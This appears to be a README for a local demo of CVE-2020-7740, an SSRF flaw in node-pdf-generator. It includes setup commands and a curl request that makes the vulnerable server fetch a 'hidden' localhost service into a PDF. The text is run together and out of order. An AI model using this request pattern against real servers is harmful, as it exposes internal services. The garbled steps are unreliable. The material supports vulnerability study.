
An example of CVE-2020-7740
This affects all versions of package node-pdf-generator. Due to lack of user input validation and sanitization done to the content given to node-pdf-generator, it is possible for an attacker to craft a url that will be passed to an external server allowing an SSRF attack.
docker run -p 3000:3000 cve-2020-7740localhost:3001 directlycurl --location --request GET localhost:3000/test --data-raw http://localhost:3001 --output test.pdftest.pdf to view the localhost website that is supposed to be hidden.git clone {link to be inserted}https://wkhtmltopdf.org/node .\NodePdfGeneratorServer the server will be running at localhost:3000python3 -m pip install -r requirements.txtpython3 HiddenService the server will be running at 'localhost:3001`curl --location --request GET localhost:3000/test --data-raw http://www.google.com --output test.pdfhttp://www.google.com to the file test.pdf